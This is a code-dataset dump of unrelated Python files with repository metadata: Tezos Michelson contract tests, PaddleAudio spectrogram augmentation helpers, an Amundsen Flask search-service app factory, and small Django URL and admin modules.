session, path, storage, 0) utils.bake(client, 'bootstrap5') # call contract: creates the internal contract and calls it. client.transfer( 0, 'bootstrap1', 'multiple_entrypoints_counter', ['--burn-cap', '10'], ) utils.bake(client, 'bootstrap5') assert client.get_storage('multiple_entrypoints_counter') == 'None', ( "The storage of the multiple_entrypoints_counter contract" " should be None" ) # Test CONTRACT with/without entrypoint annotation on literal address # parameters with/without entrypoint annotation def test_originate_simple_entrypoints(self, session: dict, client: Client): contract_target = os.path.join( CONTRACT_PATH, 'entrypoints', 'simple_entrypoints.tz' ) originate(client, session, contract_target, 'Unit', 0) utils.bake(client, 'bootstrap5') @pytest.mark.parametrize( 'contract_annotation, contract_type, param, expected_storage', [ # tests passing adr to CONTRACT %A unit # where adr has an entrypoint %A of type unit, is allowed. ('%A', 'unit', '"{adr}"', '(Some "{adr}%A")'), ('%B', 'string', '"{adr}"', '(Some "{adr}%B")'), ('%C', 'nat', '"{adr}"', '(Some "{adr}%C")'), # tests passing adr%A to CONTRACT %A unit: redundant specification # of entrypoint not allowed so CONTRACT returns None ('%A', 'unit', '"{adr}%A"', 'None'), ('%A', 'unit', '"{adr}%B"', 'None'), ('%A', 'unit', '"{adr}%D"', 'None'), ('%A', 'unit', '"{adr}%A"', 'None'), ('%B', 'unit', '"{adr}%A"', 'None'), ('%D', 'unit', '"{adr}%A"', 'None'), # tests passing adr%A to CONTRACT unit: # where adr has an entrypoint %A of type unit, is allowed. ('', 'unit', '"{adr}%A"', '(Some "{adr}%A")'), ('', 'string', '"{adr}%B"', '(Some "{adr}%B")'), ('', 'nat', '"{adr}%C"', '(Some "{adr}%C")'), # tests passing adr%B to CONTRACT unit: # as entrypoint %B of simple_entrypoints.tz has type string, # CONTRACT will return None. ('', 'unit', '"{adr}%B"', 'None'), # tests passing adr%D to CONTRACT unit: # as entrypoint %D does not exist in simple_entrypoints.tz, # CONTRACT will return None. ('', 'unit', '"{adr}%D"', 'None'), # tests passing adr to CONTRACT unit: # as adr does not have type unit, CONTRACT returns None. ('', 'unit', '"{adr}"', 'None'), # entrypoint that does not exist ('%D', 'unit', '"{adr}"', 'None'), # ill-typed entrypoints ('%A', 'int', '"{adr}"', 'None'), ('%B', 'unit', '"{adr}"', 'None'), ('%C', 'int', '"{adr}"', 'None'), ], ) def test_simple_entrypoints( self, session, client, contract_annotation, contract_type, param, expected_storage, ): contract = f'''parameter address; storage (option address); code {{ CAR; CONTRACT {contract_annotation} {contract_type}; IF_SOME {{ ADDRESS; SOME }} {{ NONE address; }}; NIL operation; PAIR }};''' param = param.format(adr=session['contract']) expected_storage = expected_storage.format(adr=session['contract']) run_script_res = client.run_script(contract, 'None', param, file=False) assert run_script_res.storage == expected_storage @pytest.mark.contract class TestComparables: def test_comparable_unit(self, client): client.typecheck_data('{}', '(set unit)') client.typecheck_data('{Unit}', '(set unit)') def test_comparable_options(self, client): client.typecheck_data('{}', '(set (option nat))') client.typecheck_data('{None; Some 1; Some 2}', '(set (option int))') utils.assert_typecheck_data_failure( client, '{Some "foo"; Some "bar"}', '(set (option string))' ) utils.assert_typecheck_data_failure( client, '{Some Unit; None}', '(set (option unit))' ) def test_comparable_unions(self, client): client.typecheck_data('{}', '(set (or unit bool))') client.typecheck_data( '{Left 3; Left 4; Right "bar"; Right "foo"}', '(set (or nat string))', ) utils.assert_typecheck_data_failure( client, '{Left 2; Left 1}', '(set (or mutez unit))' ) utils.assert_typecheck_data_failure( client, '{Right True; Right False}', '(set (or unit bool))' ) utils.assert_typecheck_data_failure( client, '{Right 0; Left 1}', '(set (or nat nat))' ) def test_comparable_pair(self, client: Client): # tests that comb pairs are comparable and that the order is the # expected one client.typecheck_data('{}', '(set (pair nat string))') client.typecheck_data('{Pair 0 "foo"}', '(set (pair nat string))') client.typecheck_data( '{Pair 0 "foo"; Pair 1 "bar"}', '(set (pair nat string))' ) client.typecheck_data( '{Pair 0 "bar"; Pair 0 "foo"; \ Pair 1 "bar"; Pair 1 "foo"}', '(set (pair nat string))', ) client.typecheck_data('{}', '(set (pair nat (pair string bytes)))') client.typecheck_data('{}', '(map (pair nat string) unit)') client.typecheck_data( '{Elt (Pair 0 "foo") Unit}', '(map (pair nat string) unit)' ) client.typecheck_data( '{Elt (Pair 0 "foo") Unit; \ Elt (Pair 1 "bar") Unit}', '(map (pair nat string) unit)', ) client.typecheck_data( '{Elt (Pair 0 "bar") Unit; \ Elt (Pair 0 "foo") Unit; \ Elt (Pair 1 "bar") Unit; \ Elt (Pair 1 "foo") Unit}', '(map (pair nat string) unit)', ) client.typecheck_data('{}', '(map (pair nat (pair string bytes)) unit)') client.typecheck_data('{}', '(big_map (pair nat string) unit)') client.typecheck_data( '{Elt (Pair 0 "foo") Unit}', '(big_map (pair nat string) unit)' ) client.typecheck_data( '{Elt (Pair 0 "foo") Unit; \ Elt (Pair 1 "bar") Unit}', '(big_map (pair nat string) unit)', ) client.typecheck_data( '{Elt (Pair 0 "bar") Unit; \ Elt (Pair 0 "foo") Unit; \ Elt (Pair 1 "bar") Unit; \ Elt (Pair 1 "foo") Unit}', '(big_map (pair nat string) unit)', ) client.typecheck_data( '{}', '(big_map (pair nat (pair string bytes)) unit)' ) client.typecheck_data('{}', '(set (pair (pair nat nat) nat))') client.typecheck_data( '{}', '(set (pair (pair int nat) \ (pair bool bytes)))', ) def test_order_of_pairs(self, client: Client): # tests that badly-ordered set literals are rejected utils.assert_typecheck_data_failure( client, '{Pair 0 "foo"; Pair 0 "bar"}', '(set (pair nat string))' ) utils.assert_typecheck_data_failure( client, '{Pair 1 "bar"; Pair 0 "foo"}', '(set (pair nat string))' ) def test_comparable_chain_id(self, client): client.typecheck_data('{}', '(set chain_id)') chain1 = client.rpc('get', 'chains/main/chain_id') chain2 = 'NetXZVhNXbDTx5M' utils.assert_typecheck_data_failure( client, '{"' + f'{chain1}' + '"; "' + f'{chain2}' + '"}', '(set chain_id)', ) client.typecheck_data( '{"' + f'{chain2}' + '"; "' + f'{chain1}' + '"}', '(set chain_id)' ) def test_comparable_signature(self, client): client.typecheck_data('{}', '(set signature)') packed = client.pack('Unit', 'unit') sig1 = client.sign_bytes_of_string(packed, "bootstrap1") sig2 = client.sign_bytes_of_string(packed, "bootstrap2") utils.assert_typecheck_data_failure( client, '{"' + f'{sig1}' + '"; "' + f'{sig2}' + '"}', '(set signature)', ) client.typecheck_data( '{"' + f'{sig2}' + '"; "' + f'{sig1}' + '"}', '(set signature)' ) def test_comparable_key(self, client): pubkey1 = IDENTITIES['bootstrap1']['public'] pubkey2 = IDENTITIES['bootstrap2']['public'] client.typecheck_data('{}', '(set key)') utils.assert_typecheck_data_failure( client, '{"' + f'{pubkey1}' + '"; "' + f'{pubkey2}' + '"}', '(set key)', ) client.typecheck_data( '{"' + f'{pubkey2}' + '"; "' + f'{pubkey1}' + '"}', '(set key)' ) def test_comparable_key_different_schemes(self, client): client.gen_key('sk1', ['--sig', 'ed25519']) key1 = client.show_address('sk1').public_key client.gen_key('sk2', ['--sig', 'secp256k1']) key2 = client.show_address('sk2').public_key client.gen_key('sk3', ['--sig', 'p256']) key3 = client.show_address('sk3').public_key # Three public keys of the three different signature schemes, ordered client.typecheck_data( '{"' + key1 + '"; "' + key2 + '"; "' + key3 + '"}', '(set key)' ) # Test all orderings that do not respect the comparable order utils.assert_typecheck_data_failure( client, '{"' + key1 + '"; "' + key3 + '"; "' + key2 + '"}', '(set key)', ) utils.assert_typecheck_data_failure( client, '{"' + key2 + '"; "' + key1 + '"; "' + key3 + '"}', '(set key)', ) utils.assert_typecheck_data_failure( client, '{"' + key2 + '"; "' + key3 + '"; "' + key1 + '"}', '(set key)', ) utils.assert_typecheck_data_failure( client, '{"' + key3 + '"; "' + key1 + '"; "' + key2 + '"}', '(set key)', ) utils.assert_typecheck_data_failure( client, '{"' + key3 + '"; "' + key2 + '"; "' + key1 + '"}', '(set key)', ) @pytest.mark.contract class TestTypecheckingErrors: def test_big_map_arity_error(self, client: Client): error_pattern = ( 'primitive EMPTY_BIG_MAP expects 2 arguments but is given 1.' ) with utils.assert_run_failure(error_pattern): client.typecheck( os.path.join(CONTRACT_PATH, 'ill_typed', 'big_map_arity.tz') ) BAD_ANNOT_TEST = ''' parameter bytes; storage (option (lambda unit unit)); code { CAR; UNPACK (lambda unit unit); NIL operation; PAIR} ''' @pytest.mark.contract class TestBadAnnotation: def test_write_contract_bad_annot(self, tmpdir, session: dict): name = 'bad_annot.tz' contract = f'{tmpdir}/{name}' script = BAD_ANNOT_TEST with open(contract, 'w') as contract_file: contract_file.write(script) session[name] = contract def test_bad_annotation(self, client: Client, session: dict): name = 'bad_annot.tz' contract = session[name] # This was produced by running "tezos-client hash data '{ UNIT # ; PAIR ; CAR %faa }' of type 'lambda unit unit'" and # replacing the two last bytes (that correspond to the two # 'a's at the end of the annotation) by the 0xff byte which is # not a valid UTF8-encoding of a string parameter = '0x05020000000e034f03420416000000042566ffff' res = client.run_script(contract, 'None', parameter) assert res.storage == 'None' @pytest.mark.contract class TestOrderInTopLevelDoesNotMatter: @pytest.fixture def contract_splitted_in_top_level_elements(self): return [ "parameter nat", "storage unit", "code { CDR; NIL operation; PAIR }", ] def test_shuffle( self, client: Client, contract_splitted_in_top_level_elements ): for shuffled_list in itertools.permutations( contract_splitted_in_top_level_elements ): contract = ";\n".join(shuffled_list) client.typecheck(contract, file=False) @pytest.mark.contract @pytest.mark.regression class TestSelfAddressTransfer: def test_self_address_originate_sender( self, client_regtest_scrubbed, session ): client = client_regtest_scrubbed path = os.path.join( CONTRACT_PATH, 'mini_scenarios', 'self_address_sender.tz' ) originate(client, session, path, 'Unit', 0) def test_self_address_originate_receiver( self, client_regtest_scrubbed, session ): client = client_regtest_scrubbed path = os.path.join( CONTRACT_PATH, 'mini_scenarios', 'self_address_receiver.tz' ) originate(client, session, path, 'Unit', 0) session['receiver_address'] = session['contract'] def test_send_self_address(self, client_regtest_scrubbed, session): client = client_regtest_scrubbed receiver_address = session['receiver_address'] client.transfer( 0, 'bootstrap2', 'self_address_sender', ['--arg', f'"{receiver_address}"', '--burn-cap', '2'], ) utils.bake(client, 'bootstrap5') @pytest.mark.slow @pytest.mark.contract @pytest.mark.regression class TestScriptHashRegression: @pytest.mark.parametrize("contract", all_contracts()) def test_contract_hash(self, client_regtest: Client, contract): client = client_regtest assert contract.endswith( '.tz' ), "test contract should have .tz extension" client.hash_script(os.path.join(CONTRACT_PATH, contract)) @pytest.mark.contract class TestScriptHashOrigination: def test_contract_hash_with_origination( self, client: Client, session: dict ): script = 'parameter unit; storage unit; code {CAR; NIL operation; PAIR}' originate( client, session, contract=script, init_storage='Unit', amount=1000, contract_name='dummy_contract', ) hash1 = client.hash_script(script) hash2 = client.get_script_hash('dummy_contract') assert hash1 == hash2 @pytest.mark.contract @pytest.mark.regression class TestNormalize: modes = [None, 'Readable', 'Optimized', 'Optimized_legacy'] @pytest.mark.parametrize('mode', modes) def test_normalize_unparsing_mode(self, client_regtest_scrubbed, mode): client = client_regtest_scrubbed input_data = ( '{Pair 0 3 6 9; Pair 1 (Pair 4 (Pair 7 10)); {2; 5; 8; 11}}' ) input_type = 'list (pair nat nat nat nat)' client.normalize(input_data, input_type, mode=mode) def test_normalize_legacy_flag(self, client_regtest_scrubbed): client = client_regtest_scrubbed input_data = '{Elt %a 0 1}' input_type = 'map nat nat' client.normalize(input_data, input_type, legacy=True) error_pattern = 'unexpected annotation.' with utils.assert_run_failure(error_pattern): client.normalize(input_data, input_type, legacy=False) @pytest.mark.parametrize('mode', modes) def test_normalize_script(self, client_regtest_scrubbed, mode): client = client_regtest_scrubbed path = os.path.join(CONTRACT_PATH, 'opcodes', 'comb-literals.tz') client.normalize_script(path, mode=mode) types = [ 'nat', 'list nat', 'pair nat int', 'list (pair nat int)', 'pair nat int bool', 'list (pair nat int bool)', 'pair nat int bool bytes', 'list (pair nat int bool bytes)', ] @pytest.mark.parametrize('typ', types) def test_normalize_type(self, client_regtest_scrubbed, typ): client = client_regtest_scrubbed client.normalize_type(typ)

true

f71044d972aeda32c49abd7d7f83422f3a1eb8f0

5,359

py

Python

PaddleAudio/paddleaudio/features/augment.py

AshburnLee/models

98fa58030f8ce352b3818f43897ac719ccffdffc

[ "Apache-2.0" ]

1

2022-02-13T08:33:52.000Z

PaddleAudio/paddleaudio/features/augment.py

AshburnLee/models

98fa58030f8ce352b3818f43897ac719ccffdffc

[ "Apache-2.0" ]

null

PaddleAudio/paddleaudio/features/augment.py

AshburnLee/models

98fa58030f8ce352b3818f43897ac719ccffdffc

[ "Apache-2.0" ]

null

# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from typing import Iterable, List, Optional, Tuple, TypeVar import numpy as np from numpy import ndarray as array from paddleaudio.backends import depth_convert from paddleaudio.utils import ParameterError __all__ = [ 'depth_augment', 'spect_augment', 'random_crop1d', 'random_crop2d', 'adaptive_spect_augment', ] def randint(high: int) -> int: """Generate one random integer in range [0 high) This is a helper function for random data augmentaiton """ return int(np.random.randint(0, high=high)) def rand() -> float: """Generate one floating-point number in range [0 1) This is a helper function for random data augmentaiton """ return float(np.random.rand(1)) def depth_augment(y: array, choices: List = ['int8', 'int16'], probs: List[float] = [0.5, 0.5]) -> array: """ Audio depth augmentation Do audio depth augmentation to simulate the distortion brought by quantization. """ assert len(probs) == len( choices ), 'number of choices {} must be equal to size of probs {}'.format( len(choices), len(probs)) depth = np.random.choice(choices, p=probs) src_depth = y.dtype y1 = depth_convert(y, depth) y2 = depth_convert(y1, src_depth) return y2 def adaptive_spect_augment(spect: array, tempo_axis: int = 0, level: float = 0.1) -> array: """Do adpative spectrogram augmentation The level of the augmentation is gowern by the paramter level, ranging from 0 to 1, with 0 represents no augmentation。 """ assert spect.ndim == 2., 'only supports 2d tensor or numpy array' if tempo_axis == 0: nt, nf = spect.shape else: nf, nt = spect.shape time_mask_width = int(nt * level * 0.5) freq_mask_width = int(nf * level * 0.5) num_time_mask = int(10 * level) num_freq_mask = int(10 * level) if tempo_axis == 0: for _ in range(num_time_mask): start = randint(nt - time_mask_width) spect[start:start + time_mask_width, :] = 0 for _ in range(num_freq_mask): start = randint(nf - freq_mask_width) spect[:, start:start + freq_mask_width] = 0 else: for _ in range(num_time_mask): start = randint(nt - time_mask_width) spect[:, start:start + time_mask_width] = 0 for _ in range(num_freq_mask): start = randint(nf - freq_mask_width) spect[start:start + freq_mask_width, :] = 0 return spect def spect_augment(spect: array, tempo_axis: int = 0, max_time_mask: int = 3, max_freq_mask: int = 3, max_time_mask_width: int = 30, max_freq_mask_width: int = 20) -> array: """Do spectrogram augmentation in both time and freq axis Reference: """ assert spect.ndim == 2., 'only supports 2d tensor or numpy array' if tempo_axis == 0: nt, nf = spect.shape else: nf, nt = spect.shape num_time_mask = randint(max_time_mask) num_freq_mask = randint(max_freq_mask) time_mask_width = randint(max_time_mask_width) freq_mask_width = randint(max_freq_mask_width) if tempo_axis == 0: for _ in range(num_time_mask): start = randint(nt - time_mask_width) spect[start:start + time_mask_width, :] = 0 for _ in range(num_freq_mask): start = randint(nf - freq_mask_width) spect[:, start:start + freq_mask_width] = 0 else: for _ in range(num_time_mask): start = randint(nt - time_mask_width) spect[:, start:start + time_mask_width] = 0 for _ in range(num_freq_mask): start = randint(nf - freq_mask_width) spect[start:start + freq_mask_width, :] = 0 return spect def random_crop1d(y: array, crop_len: int) -> array: """ Do random cropping on 1d input signal The input is a 1d signal, typically a sound waveform """ if y.ndim != 1: 'only accept 1d tensor or numpy array' n = len(y) idx = randint(n - crop_len) return y[idx:idx + crop_len] def random_crop2d(s: array, crop_len: int, tempo_axis: int = 0) -> array: """ Do random cropping for 2D array, typically a spectrogram. The cropping is done in temporal direction on the time-freq input signal. """ if tempo_axis >= s.ndim: raise ParameterError('axis out of range') n = s.shape[tempo_axis] idx = randint(high=n - crop_len) sli = [slice(None) for i in range(s.ndim)] sli[tempo_axis] = slice(idx, idx + crop_len) out = s[tuple(sli)] return out

31.156977

83

0.631274

from typing import Iterable, List, Optional, Tuple, TypeVar import numpy as np from numpy import ndarray as array from paddleaudio.backends import depth_convert from paddleaudio.utils import ParameterError __all__ = [ 'depth_augment', 'spect_augment', 'random_crop1d', 'random_crop2d', 'adaptive_spect_augment', ] def randint(high: int) -> int: return int(np.random.randint(0, high=high)) def rand() -> float: return float(np.random.rand(1)) def depth_augment(y: array, choices: List = ['int8', 'int16'], probs: List[float] = [0.5, 0.5]) -> array: assert len(probs) == len( choices ), 'number of choices {} must be equal to size of probs {}'.format( len(choices), len(probs)) depth = np.random.choice(choices, p=probs) src_depth = y.dtype y1 = depth_convert(y, depth) y2 = depth_convert(y1, src_depth) return y2 def adaptive_spect_augment(spect: array, tempo_axis: int = 0, level: float = 0.1) -> array: assert spect.ndim == 2., 'only supports 2d tensor or numpy array' if tempo_axis == 0: nt, nf = spect.shape else: nf, nt = spect.shape time_mask_width = int(nt * level * 0.5) freq_mask_width = int(nf * level * 0.5) num_time_mask = int(10 * level) num_freq_mask = int(10 * level) if tempo_axis == 0: for _ in range(num_time_mask): start = randint(nt - time_mask_width) spect[start:start + time_mask_width, :] = 0 for _ in range(num_freq_mask): start = randint(nf - freq_mask_width) spect[:, start:start + freq_mask_width] = 0 else: for _ in range(num_time_mask): start = randint(nt - time_mask_width) spect[:, start:start + time_mask_width] = 0 for _ in range(num_freq_mask): start = randint(nf - freq_mask_width) spect[start:start + freq_mask_width, :] = 0 return spect def spect_augment(spect: array, tempo_axis: int = 0, max_time_mask: int = 3, max_freq_mask: int = 3, max_time_mask_width: int = 30, max_freq_mask_width: int = 20) -> array: assert spect.ndim == 2., 'only supports 2d tensor or numpy array' if tempo_axis == 0: nt, nf = spect.shape else: nf, nt = spect.shape num_time_mask = randint(max_time_mask) num_freq_mask = randint(max_freq_mask) time_mask_width = randint(max_time_mask_width) freq_mask_width = randint(max_freq_mask_width) if tempo_axis == 0: for _ in range(num_time_mask): start = randint(nt - time_mask_width) spect[start:start + time_mask_width, :] = 0 for _ in range(num_freq_mask): start = randint(nf - freq_mask_width) spect[:, start:start + freq_mask_width] = 0 else: for _ in range(num_time_mask): start = randint(nt - time_mask_width) spect[:, start:start + time_mask_width] = 0 for _ in range(num_freq_mask): start = randint(nf - freq_mask_width) spect[start:start + freq_mask_width, :] = 0 return spect def random_crop1d(y: array, crop_len: int) -> array: if y.ndim != 1: n = len(y) idx = randint(n - crop_len) return y[idx:idx + crop_len] def random_crop2d(s: array, crop_len: int, tempo_axis: int = 0) -> array: if tempo_axis >= s.ndim: raise ParameterError('axis out of range') n = s.shape[tempo_axis] idx = randint(high=n - crop_len) sli = [slice(None) for i in range(s.ndim)] sli[tempo_axis] = slice(idx, idx + crop_len) out = s[tuple(sli)] return out

true

f71045928932e18081469a28d0e1d162f32eb006

4,059

py

Python

search_service/__init__.py

lukelowery/amundsensearchlibrary

cdaf1e3b75edd55bee8b0c65178863e25b0a479a

[ "Apache-2.0" ]

null

search_service/__init__.py

lukelowery/amundsensearchlibrary

cdaf1e3b75edd55bee8b0c65178863e25b0a479a

[ "Apache-2.0" ]

null

search_service/__init__.py

lukelowery/amundsensearchlibrary

cdaf1e3b75edd55bee8b0c65178863e25b0a479a

[ "Apache-2.0" ]

null

import ast import importlib import os import logging import logging.config import sys from flask import Flask, Blueprint from flask_restful import Api from flask_cors import CORS from typing import Dict, Any # noqa: F401 from flasgger import Swagger from search_service.api.dashboard import SearchDashboardAPI from search_service.api.table import SearchTableAPI, SearchTableFilterAPI from search_service.api.user import SearchUserAPI from search_service.api.document import DocumentUserAPI, DocumentTableAPI, DocumentTablesAPI, DocumentUsersAPI from search_service.api.healthcheck import healthcheck # For customized flask use below arguments to override. FLASK_APP_MODULE_NAME = os.getenv('FLASK_APP_MODULE_NAME') FLASK_APP_CLASS_NAME = os.getenv('FLASK_APP_CLASS_NAME') FLASK_APP_KWARGS_DICT_STR = os.getenv('FLASK_APP_KWARGS_DICT') ROOT_DIR = os.path.dirname(os.path.abspath(__file__)) # Environment Variable to enable cors CORS_ENABLED = os.environ.get('CORS_ENABLED', False) def create_app(*, config_module_class: str) -> Flask: """ Creates app in function so that flask with flask extensions can be initialized with specific config. Here it defines the route of APIs so that it can be seen in one place where implementation is separated. Config is being fetched via module.class name where module.class name can be passed through environment variable. This is to make config fetched through runtime PYTHON_PATH so that Config class can be easily injected. More on: http://flask.pocoo.org/docs/1.0/config/ :param config_module_class: name of the config :return: Flask """ if FLASK_APP_MODULE_NAME and FLASK_APP_CLASS_NAME: print(f'Using requested Flask module {FLASK_APP_MODULE_NAME} ' f'and class {FLASK_APP_CLASS_NAME}', file=sys.stderr) class_obj = getattr( importlib.import_module(FLASK_APP_MODULE_NAME), FLASK_APP_CLASS_NAME ) flask_kwargs_dict = {} # type: Dict[str, Any] if FLASK_APP_KWARGS_DICT_STR: print(f'Using kwargs {FLASK_APP_KWARGS_DICT_STR} to instantiate Flask', file=sys.stderr) flask_kwargs_dict = ast.literal_eval(FLASK_APP_KWARGS_DICT_STR) app = class_obj(__name__, **flask_kwargs_dict) else: app = Flask(__name__) if CORS_ENABLED: CORS(app) config_module_class = \ os.getenv('SEARCH_SVC_CONFIG_MODULE_CLASS') or config_module_class app.config.from_object(config_module_class) if app.config.get('LOG_CONFIG_FILE'): logging.config.fileConfig(app.config.get('LOG_CONFIG_FILE'), disable_existing_loggers=False) else: logging.basicConfig(format=app.config.get('LOG_FORMAT'), datefmt=app.config.get('LOG_DATE_FORMAT')) logging.getLogger().setLevel(app.config.get('LOG_LEVEL')) logging.info('Creating app with config name {}' .format(config_module_class)) logging.info('Created app with config name {}'.format(config_module_class)) api_bp = Blueprint('api', __name__) api_bp.add_url_rule('/healthcheck', 'healthcheck', healthcheck) api = Api(api_bp) # Table Search API # TODO: Rename endpoint to be more generic and accept a resource type so that logic can be re-used api.add_resource(SearchTableFilterAPI, '/search_table') api.add_resource(SearchTableAPI, '/search') # User Search API api.add_resource(SearchUserAPI, '/search_user') # Dashboard Search API api.add_resource(SearchDashboardAPI, '/search_dashboard') # DocumentAPI api.add_resource(DocumentTablesAPI, '/document_table') api.add_resource(DocumentTableAPI, '/document_table/<document_id>') api.add_resource(DocumentUsersAPI, '/document_user') api.add_resource(DocumentUserAPI, '/document_user/<document_id>') app.register_blueprint(api_bp) if app.config.get('SWAGGER_ENABLED'): Swagger(app, template_file=os.path.join(ROOT_DIR, app.config.get('SWAGGER_TEMPLATE_PATH')), parse=True) return app

38.292453

111

0.74033

import ast import importlib import os import logging import logging.config import sys from flask import Flask, Blueprint from flask_restful import Api from flask_cors import CORS from typing import Dict, Any from flasgger import Swagger from search_service.api.dashboard import SearchDashboardAPI from search_service.api.table import SearchTableAPI, SearchTableFilterAPI from search_service.api.user import SearchUserAPI from search_service.api.document import DocumentUserAPI, DocumentTableAPI, DocumentTablesAPI, DocumentUsersAPI from search_service.api.healthcheck import healthcheck FLASK_APP_MODULE_NAME = os.getenv('FLASK_APP_MODULE_NAME') FLASK_APP_CLASS_NAME = os.getenv('FLASK_APP_CLASS_NAME') FLASK_APP_KWARGS_DICT_STR = os.getenv('FLASK_APP_KWARGS_DICT') ROOT_DIR = os.path.dirname(os.path.abspath(__file__)) CORS_ENABLED = os.environ.get('CORS_ENABLED', False) def create_app(*, config_module_class: str) -> Flask: if FLASK_APP_MODULE_NAME and FLASK_APP_CLASS_NAME: print(f'Using requested Flask module {FLASK_APP_MODULE_NAME} ' f'and class {FLASK_APP_CLASS_NAME}', file=sys.stderr) class_obj = getattr( importlib.import_module(FLASK_APP_MODULE_NAME), FLASK_APP_CLASS_NAME ) flask_kwargs_dict = {} if FLASK_APP_KWARGS_DICT_STR: print(f'Using kwargs {FLASK_APP_KWARGS_DICT_STR} to instantiate Flask', file=sys.stderr) flask_kwargs_dict = ast.literal_eval(FLASK_APP_KWARGS_DICT_STR) app = class_obj(__name__, **flask_kwargs_dict) else: app = Flask(__name__) if CORS_ENABLED: CORS(app) config_module_class = \ os.getenv('SEARCH_SVC_CONFIG_MODULE_CLASS') or config_module_class app.config.from_object(config_module_class) if app.config.get('LOG_CONFIG_FILE'): logging.config.fileConfig(app.config.get('LOG_CONFIG_FILE'), disable_existing_loggers=False) else: logging.basicConfig(format=app.config.get('LOG_FORMAT'), datefmt=app.config.get('LOG_DATE_FORMAT')) logging.getLogger().setLevel(app.config.get('LOG_LEVEL')) logging.info('Creating app with config name {}' .format(config_module_class)) logging.info('Created app with config name {}'.format(config_module_class)) api_bp = Blueprint('api', __name__) api_bp.add_url_rule('/healthcheck', 'healthcheck', healthcheck) api = Api(api_bp) api.add_resource(SearchTableFilterAPI, '/search_table') api.add_resource(SearchTableAPI, '/search') api.add_resource(SearchUserAPI, '/search_user') api.add_resource(SearchDashboardAPI, '/search_dashboard') api.add_resource(DocumentTablesAPI, '/document_table') api.add_resource(DocumentTableAPI, '/document_table/<document_id>') api.add_resource(DocumentUsersAPI, '/document_user') api.add_resource(DocumentUserAPI, '/document_user/<document_id>') app.register_blueprint(api_bp) if app.config.get('SWAGGER_ENABLED'): Swagger(app, template_file=os.path.join(ROOT_DIR, app.config.get('SWAGGER_TEMPLATE_PATH')), parse=True) return app

true

f7104645b4e560e005f0f55e7673f10e687b7f5e

828

py

Python

Sample REST API/SampleProject/urls.py

tanvipenumudy/Cookiecutter_Django_REST-API

f6604d7798ecebf0c432cdf141c24b0c2d85fdf2

[ "MIT" ]

null

Sample REST API/SampleProject/urls.py

tanvipenumudy/Cookiecutter_Django_REST-API

f6604d7798ecebf0c432cdf141c24b0c2d85fdf2

[ "MIT" ]

null

Sample REST API/SampleProject/urls.py

tanvipenumudy/Cookiecutter_Django_REST-API

f6604d7798ecebf0c432cdf141c24b0c2d85fdf2

[ "MIT" ]

null

"""SampleProject URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.conf.urls import url from django.contrib import admin from MyApp import views urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^idealweight/',views.IdealWeight) ]

34.5

77

0.713768

from django.conf.urls import url from django.contrib import admin from MyApp import views urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^idealweight/',views.IdealWeight) ]

true

f71046c1dc5db319fb44c820336093811da73c30

931

py

Python

algorithm_web/admin/problem.py

KMU-algolab/algorithm

2b734978da78b936244580ed1febe4f9f6cf1aea

[ "MIT" ]

null

algorithm_web/admin/problem.py

KMU-algolab/algorithm

2b734978da78b936244580ed1febe4f9f6cf1aea

[ "MIT" ]

10

2019-03-15T05:12:23.000Z

2020-05-06T13:05:49.000Z

algorithm_web/admin/problem.py

KMU-algolab/algorithm

2b734978da78b936244580ed1febe4f9f6cf1aea

[ "MIT" ]

null

from django.contrib import admin from .. import models @admin.register(models.Problem) class ProblemeAdmin(admin.ModelAdmin): """ 문제관리 """ list_display = ['problem_name', 'limit_time', 'limit_memory', 'scoring_type', 'level', 'info', 'is_open', 'checker_code'] class Meta: model = models.Problem @admin.register(models.ProblemSet) class ProblemSetAdmin(admin.ModelAdmin): """ 문제집관리 """ list_display = ['set_name', 'editor', 'message'] class Meta: model = models.ProblemSet @admin.register(models.ProblemList) class ProblemListAdmin(admin.ModelAdmin): """ 문제집 문제관리 """ list_display = ['problem_set', 'problem'] class Meta: model = models.ProblemList @admin.register(models.TestCase) class TestCaseAdmin(admin.ModelAdmin): """ 테스트케이스관리 """ list_display = ['id', 'problem'] class Meta: model = models.TestCase

19.808511

125

0.647691

from django.contrib import admin from .. import models @admin.register(models.Problem) class ProblemeAdmin(admin.ModelAdmin): list_display = ['problem_name', 'limit_time', 'limit_memory', 'scoring_type', 'level', 'info', 'is_open', 'checker_code'] class Meta: model = models.Problem @admin.register(models.ProblemSet) class ProblemSetAdmin(admin.ModelAdmin): list_display = ['set_name', 'editor', 'message'] class Meta: model = models.ProblemSet @admin.register(models.ProblemList) class ProblemListAdmin(admin.ModelAdmin): list_display = ['problem_set', 'problem'] class Meta: model = models.ProblemList @admin.register(models.TestCase) class TestCaseAdmin(admin.ModelAdmin): list_display = ['id', 'problem'] class Meta: model = models.TestCase

true

f710474b36d3e20f8e9a1f23e934f85fb7128046

6,277

py

Python

tests/unit/dsetUtilTest.py

murlock/hsds

9f5fc3cdb64017d07e34eb422eee5398553d213c

[ "Apache-2.0" ]

null

tests/unit/dsetUtilTest.py

murlock/hsds

9f5fc3cdb64017d07e34eb422eee5398553d213c

[ "Apache-2.0" ]

null

tests/unit/dsetUtilTest.py

murlock/hsds

9f5fc3cdb64017d07e34eb422eee5398553d213c

[ "Apache-2.0" ]

null

